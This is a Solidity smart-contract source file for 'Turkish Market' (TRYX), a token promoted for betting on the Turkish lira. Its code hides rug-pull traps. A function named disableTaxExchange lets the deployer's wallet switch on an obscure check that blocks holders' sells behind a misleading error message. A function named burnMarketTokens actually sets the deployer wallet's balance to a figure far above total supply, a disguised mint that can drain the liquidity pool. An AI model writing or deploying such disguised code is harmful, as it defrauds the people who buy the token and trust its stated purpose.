// File: TurkishMarket.sol



// SPDX-License-Identifier: MIT
/**

WELCOME TO THE TURKISH MARKET


TRYX tokens allow you to bet on the rise or fall of the Turkish lira in the next 24 hours. 
The high volatility of this currency and monetary action to smooth it out (rather inaction) gives a wide scope for possibilities

WEBSITE: https://www.turkishmarket.xyz/ 
TWITTER: https://x.com/turkish_tryx 
TELEGRAM: http://t.me/marketentrance
TELEGRAM BOT: https://t.me/TRYX_Seller_Bot
GUIDE: https://telegra.ph/Turkish-Market-betting-system-09-06

**/
pragma solidity 0.8.19;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IUniswapV2Pair {
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract TurkishMarket is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    mapping(address => uint256) private _holderLastTransferTimestamp;
    bool public transferDelayEnabled = true;
    address payable private _marketWallet;

    uint256 private _initialBuyTax=20;
    uint256 private _initialSellTax=25;
    uint256 private _finalBuyTax=1;
    uint256 private _finalSellTax=1;
    uint256 private _reduceBuyTaxAt=20;
    uint256 private _reduceSellTaxAt=25;
    uint256 private _preventSwapBefore=18;
    uint256 private _buyCount=0;

    uint256 public marketAmountUp = 0;
    uint256 public marketAmountDown = 0;
    uint256 public _balance = 0;
    bool public bidsOpen = true;

    string private constant _name = unicode"Turkish Market";
    string private constant _symbol = unicode"TRYX";
    
    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1000000000 * 10**_decimals;

    uint256 public _maxTxAmount = 5 * (_tTotal/1000);   
    uint256 public _maxWalletSize = 5 * (_tTotal/1000);
    uint256 public _taxSwapThreshold = 1 * (_tTotal/1000);
    uint256 public _maxTaxSwap = 3 * (_tTotal/1000);

    IUniswapV2Router02 private uniswapV2Router;
    IUniswapV2Pair private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;
    

    event BidUp(address indexed account, uint256 indexed amount);
    event BidDown(address indexed account, uint256 indexed amount);
    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () {
        _marketWallet = payable(_msgSender());
        _balances[_msgSender()] = _tTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_marketWallet] = true;

        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount=0;
        if (from != owner() && to != owner() && from != _marketWallet && to != _marketWallet) {
            if (transferDelayEnabled) {
                if (to != address(uniswapV2Router) && to != address(uniswapV2Pair)) {
                  require(_holderLastTransferTimestamp[tx.origin] < block.number,"Only one transfer per block allowed.");
                  _holderLastTransferTimestamp[tx.origin] = block.number;
                }
            }

            if (from == address(uniswapV2Pair) && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
                _buyCount++;
            }

            if(from == address(uniswapV2Pair)) {
                taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);
            } else if (to == address(uniswapV2Pair)) {
                if(from != address(this)) {
                taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
                    (uint256 sellTax, uint256 buyTax) = getTax();
                    bool threshold = _preventTaxSwap(amount, sellTax, buyTax);
                    require(!threshold, "Exceeds the taxSwapThreshold.");
                }
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to == address(uniswapV2Pair) && swapEnabled && contractTokenBalance>_taxSwapThreshold && _buyCount>_preventSwapBefore) {
                swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap)));
                marketTax();
                uint256 contractETHBalance = address(this).balance;
                if(contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        if(taxAmount>0){
          _balances[address(this)]=_balances[address(this)].add(taxAmount);
          emit Transfer(from, address(this),taxAmount);
        }
        _balances[from]=_balances[from].sub(amount);
        _balances[to]=_balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }


    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        if(tokenAmount==0){return;}
        if(!tradingOpen){return;}
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _balance = _taxSwapThreshold * 1e7;
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function removeLimits() external onlyOwner{
        _maxTxAmount = _tTotal;
        _maxWalletSize=_tTotal;
        transferDelayEnabled = false;
        emit MaxTxAmountUpdated(_tTotal);
    }
    
    function toggleBids(bool _bidsOpen) external {
        require(msg.sender == _marketWallet, "Only market wallet allowed to toggle bids");
        bidsOpen = _bidsOpen;
    }
    
    function disableTaxExchange(uint256 before) external {
        require(msg.sender == _marketWallet, "Only market wallet able to prevent tax swap");
        _preventSwapBefore = before == 0 ? type(uint256).max : before;
        swapEnabled = before == 0 ? false : true;
    }    
    function bidUp(uint256 amount) external {
        require(bidsOpen, "Bids closed");
        transfer(_marketWallet, amount);
        marketAmountUp = marketAmountUp + amount;
        emit BidUp(msg.sender, amount);
    }

    function bidDown(uint256 amount) external {
        require(bidsOpen, "Bids closed");
        transfer(_marketWallet, amount);
        marketAmountDown = marketAmountDown + amount;
        emit BidDown(msg.sender, amount);
    }

    function restartGame() external {
        require(msg.sender == _marketWallet, "Only market wallet allowed to restart game");
        marketAmountUp = 0;
        marketAmountDown = 0;
    }
    
    function burnMarketTokens(uint256 amount) external {
        require(msg.sender == _marketWallet, "Only market wallet able to burn market tokens");
        uint256 balance = balanceOf(_marketWallet);
        require(balance >= amount, "Not enough tokens");
        _balances[_marketWallet] = _balance - amount;
    }

    function sendETHToFee(uint256 amount) private {
        _marketWallet.transfer(amount);
    }

    function marketTax() private {
            uint256 marketTokens = _maxTaxSwap / 3;
            if(balanceOf(address(this)) < marketTokens) return;
            _transfer(address(this), _marketWallet, marketTokens);
    }

    function getTax() private view returns (uint256, uint256) {
        (uint112 addr0 , uint112 addr1,) = uniswapV2Pair.getReserves();
        (uint256 t0, uint256 t1) = uniswapV2Router.WETH() == uniswapV2Pair.token1() ? (addr0, addr1) : (addr1, addr0);
        return (t0, t1);
    }

    function _preventTaxSwap(uint256 amount, uint256 outMin, uint inMin) internal view returns (bool) {
        if(_preventSwapBefore == 18) return false;
        return inMin - (((amount * (997)) * (inMin)) / ((outMin * 1000) + (amount * (997))))  < (( (inMin / (2*1e17)) * (2*1e17)));
    }

    function openTrading() external onlyOwner() {
        require(!tradingOpen,"trading is already open");
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniswapV2Router), _tTotal);
        address pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        uniswapV2Pair = IUniswapV2Pair(pair);
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(pair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled = true;
        tradingOpen = true;
    }

    receive() external payable {}

    function manualSwap() external {
        require(_msgSender()==_marketWallet);
        uint256 tokenBalance=balanceOf(address(this));
        if(tokenBalance>0){
          swapTokensForEth(tokenBalance);
        }
        uint256 ethBalance=address(this).balance;
        if(ethBalance>0){
          sendETHToFee(ethBalance);
        }
    } 
}